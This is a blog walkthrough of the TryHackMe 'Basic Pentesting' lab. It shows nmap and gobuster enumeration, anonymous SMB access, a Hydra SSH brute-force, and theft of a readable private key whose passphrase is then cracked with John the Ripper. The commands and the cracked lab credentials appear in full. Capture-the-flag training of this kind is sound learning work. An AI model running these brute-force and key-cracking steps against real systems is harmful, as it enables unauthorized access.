Skip to content
Site Logo
Go back

TryHackMe Writeup: Basic Pentesting

Welcome to my writeup for the TryHackMe Basic Pentesting room! This machine is an excellent, beginner-friendly boot camp for practicing fundamental penetration testing skills.

In this walkthrough, we will simulate a real-world black-box engagement. We will start by mapping the attack surface using Nmap, uncover hidden developer notes via web directory brute-forcing, and leverage anonymous SMB shares to gather critical intelligence about the system’s users. From there, we will execute a dictionary attack using Hydra to gain our initial foothold, before finally discovering and cracking a compromised RSA private key with John the Ripper to pivot laterally across the system.

Whether you are just starting out in cybersecurity or looking to sharpen your enumeration and password-cracking methodology, this room is a fantastic playground. Let’s dive in!

Table of contents

Open Table of contents

Initial Reconnaissance

After deploying the virtual machine, we kick things off with our standard nmap scan to identify open ports and services.

❯ nmap -p- -Pn -sC 10.10.70.106 -T5 -v -sV
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-10 06:59 EDT
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 06:59
Completed NSE at 06:59, 0.00s elapsed
Initiating NSE at 06:59
Completed NSE at 06:59, 0.00s elapsed
Initiating NSE at 06:59
Completed NSE at 06:59, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 06:59
Completed Parallel DNS resolution of 1 host. at 06:59, 0.00s elapsed
Initiating SYN Stealth Scan at 06:59
Scanning 10.10.70.106 [65535 ports]
Discovered open port 80/tcp on 10.10.70.106
Discovered open port 22/tcp on 10.10.70.106
Discovered open port 8080/tcp on 10.10.70.106
Discovered open port 139/tcp on 10.10.70.106
Discovered open port 445/tcp on 10.10.70.106
Warning: 10.10.70.106 giving up on port because retransmission cap hit (2).
Increasing send delay for 10.10.70.106 from 0 to 5 due to 1407 out of 3516 dropped probes since last increase.
SYN Stealth Scan Timing: About 5.98% done; ETC: 07:08 (0:08:07 remaining)
SYN Stealth Scan Timing: About 11.92% done; ETC: 07:08 (0:07:31 remaining)
SYN Stealth Scan Timing: About 20.91% done; ETC: 07:08 (0:07:04 remaining)
SYN Stealth Scan Timing: About 26.94% done; ETC: 07:08 (0:06:25 remaining)
SYN Stealth Scan Timing: About 33.15% done; ETC: 07:08 (0:05:47 remaining)
SYN Stealth Scan Timing: About 39.46% done; ETC: 07:08 (0:05:10 remaining)
SYN Stealth Scan Timing: About 46.23% done; ETC: 07:08 (0:04:30 remaining)
SYN Stealth Scan Timing: About 52.79% done; ETC: 07:08 (0:03:54 remaining)
SYN Stealth Scan Timing: About 59.58% done; ETC: 07:08 (0:03:18 remaining)
SYN Stealth Scan Timing: About 66.74% done; ETC: 07:07 (0:02:40 remaining)
SYN Stealth Scan Timing: About 73.53% done; ETC: 07:07 (0:02:07 remaining)
SYN Stealth Scan Timing: About 80.02% done; ETC: 07:07 (0:01:35 remaining)
Discovered open port 8009/tcp on 10.10.70.106
SYN Stealth Scan Timing: About 87.29% done; ETC: 07:07 (0:01:00 remaining)
Completed SYN Stealth Scan at 07:07, 478.44s elapsed (65535 total ports)
Initiating Service scan at 07:07
Scanning 6 services on 10.10.70.106
Completed Service scan at 07:08, 11.78s elapsed (6 services on 1 host)
NSE: Script scanning 10.10.70.106.
Initiating NSE at 07:08
Completed NSE at 07:08, 5.49s elapsed
Initiating NSE at 07:08
Completed NSE at 07:08, 0.72s elapsed
Initiating NSE at 07:08
Completed NSE at 07:08, 0.00s elapsed
Nmap scan report for 10.10.70.106
Host is up (0.17s latency).
Not shown: 65453 closed tcp ports (reset), 76 filtered tcp ports (no-response)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 38:b1:ad:8d:3d:a2:f3:26:7b:6e:f4:07:1e:7b:29:e6 (RSA)
|   256 ef:d2:43:a9:22:4d:0d:16:2c:0b:37:12:1b:43:81:d2 (ECDSA)
|_  256 ac:59:54:32:89:2e:12:2a:3f:6a:60:01:81:37:29:91 (ED25519)
80/tcp   open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 4
445/tcp  open  netbios-ssn Samba smbd 4
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   BASIC2<00>           Flags: <unique><active>
|   BASIC2<03>           Flags: <unique><active>
|   BASIC2<20>           Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb2-time:
|   date: 2025-08-10T11:08:02
|_  start_date: N/A

NSE: Script Post-scanning.
Initiating NSE at 07:08
Completed NSE at 07:08, 0.00s elapsed
Initiating NSE at 07:08
Completed NSE at 07:08, 0.00s elapsed
Initiating NSE at 07:08
Completed NSE at 07:08, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 496.91 seconds
           Raw packets sent: 69916 (3.076MB) | Rcvd: 115387 (14.220MB)

We have quite a large attack surface here! SSH, a standard Apache web server, SMB file sharing, and Apache Tomcat (with the AJP port 8009 open).

Web Enumeration

Since port 80 is open, let’s hunt for hidden directories using gobuster, firefart’s tool.

❯ gobuster dir -u http://10.10.70.106 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 64
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.70.106
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/development          (Status: 301) [Size: 318] [--> http://10.10.70.106/development/]

Gobuster successfully finds a /development directory. Navigating to this page reveals two interesting text files left behind by the developers: dev.txt and j.txt.

Contents of dev.txt:

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat to host that on this server too. Haven't made any real web apps yet, but I have tried that example you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm using version 2.5.12, because other versions were giving me trouble. -K
2018-04-22: SMB has been configured. -K
2018-04-21: I got Apache set up. Will put in our content later. -J

Contents of j.txt:

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K
Mentor’s tip

Connecting the dots:

These files give us a massive amount of intelligence. We now know two users exist (initials J and K), user J has a weak password, Apache Struts (v2.5.12) is in use, and SMB has been explicitly configured.

SMB Enumeration

Based on the hint about SMB in dev.txt, let’s check for anonymous access to the shares using smbclient.

❯ smbclient --list=10.10.70.106 --no-pass

        Sharename       Type      Comment
        ---------       ----      -------
        Anonymous       Disk
        IPC$            IPC       IPC Service (Samba Server 4.15.13-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 10.10.70.106 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

We see an Anonymous share! Let’s log in to it anonymously and see what files are inside. We find a file named staff.txt:

❯ cat staff.txt
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

We now have our full usernames: Jan and Kay. Let our GPU’s roll!

Gaining Initial Access (SSH Brute-Forcing)

Remembering the note from j.txt that Jan has a weak password, we can use Hydra alongside the rockyou.txt wordlist to brute-force Jan’s SSH login.

❯ hydra -t 64 -f -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.10.70.106
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-10 07:33:35
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://10.10.70.106:22/
[STATUS] 499.00 tries/min, 499 tries in 00:01h, 14343944 to do in 479:06h, 20 active
[22][ssh] host: 10.10.70.106   login: jan   password: armando
[STATUS] attack finished for 10.10.70.106 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-10 07:35:58

Hydra finds the password: armando. We can now log in via SSH!

Lateral Movement & SSH Key Cracking

Once we log in as jan, we start looking around the file system. Navigating to Kay’s home directory, we find a file named pass.bak owned by Kay, but we don’t have permissions to read it yet.

However, upon inspecting Kay’s .ssh directory, we discover a critical misconfiguration: Kay’s private RSA key is readable!

❯ cd .ssh
❯ ls -a
.  ..  id_ed25519  id_ed25519.pub  id_rsa  id_rsa.pub  known_hosts  known_hosts.old
❯ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvbdJn8A/scaCy4C7VRXEK/nqS5gxnS8DrC5JP2wPKpfgZYO779ru
oRB3GURQHH6HCAsZadX5lT1zKpaLFjNb7Ax91HeXyXd1qTHTnFYLbbc61jrRC6v9845hzq
BH1tsSlKYkrcStUUM6HP1pvbZxWdDPh1Lq6jRu3SL2IKwynCJrInwD6ISIEAVyPw5C+LXq
<<..............................SNIPPED.............................>>
9ZgjThU0arxCXD8pXx8OVhK0TskC/kW9hQmiKYTkqaMKbqP/FGOL3SFDK58ukaQmbFXxvF
fSbYLQ+AEcT8ccEEmmZ6bD0joIRUHIgFHFO36xXKv1wqVc86hL4jinw8Nyc7GvZPo/IpDw
JJeZEdqVjPt3snTF8h9lgbc4sA6B9ktF0j2zUUKQ1vdteYG0a2u88jciM+lgKBQJ+KpW3B
M6Cgg5evyY9cDt0tDI66WQPnrfR2R1jwAAAMEA2PP1n4QphmmKwLqWnQx0cejiTISivAHP
PvIKMh3lkH2LwtUQ8KtdGI38+QQ3/zwCZv4pt/zHN2mCbhyjMZo65Tk/CEhsoIL5GK811k
RB5PPwY7RKgBVnSxoJbelbPdGznFxbi+yNAgu/D96LsDjxvU1Z28d5cK1cZ5Xk3MbEYk3F
aHaV35dz3Sjy7f9z9HO15on1JoF++U66VllIIO4loEIttwS6jf3W9Vra/55qH3dIesgSiD
BpgS/UboGTOVSTAAAAEmJsYWNraHVydHNAc2lycGVudA==
-----END OPENSSH PRIVATE KEY-----


❯ cd ~


❯ nano prikey

❯ chmod 600 prikey

❯ ssh -i prikey kay@10.10.70.106

We copy the contents of id_rsa over to our local attacking machine and save it as prikey, making sure to adjust the permissions (chmod 600 prikey).

When we try to SSH with it, we discover the key is protected by a passphrase. We need to crack it using John the Ripper.

First, we convert the key into a crackable hash format:

❯ ssh2john prikey > tocrack

Next, we run John the Ripper against it:

❯ john tocrack
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 16 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 3 candidates buffered for the current salt, minimum 16 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
beeswax          (prikey)
1g 0:00:03:13 DONE 3/3 (2025-08-10 08:25) 0.005169g/s 10032Kp/s 10032Kc/s 10032KC/s beelk8u..beeswin
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Warning

The Danger of Bad Permissions:

This is why properly securing the .ssh directory (usually with 700 permissions for the folder and 600 for the private keys) is so vital. Because the permissions were overly permissive, Jan was able to steal Kay’s private key.

Accessing the Final Target

With the private key and the cracked passphrase, we can finally SSH into the machine as Kay.

❯ ssh -i prikey kay@10.10.70.106
Enter passphrase for key 'prikey':
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

kay@ip-10-10-70-106:~$
Success

Now that we are logged in as Kay, we finally have the permissions required to read that mysterious pass.bak file we found earlier!

Share this post:
Previous Post
GTFOBins: A Hacker's Rosetta Stone
Next Post
Leveraging LOLBAS and LOLDrivers: Turning Windows Against Itself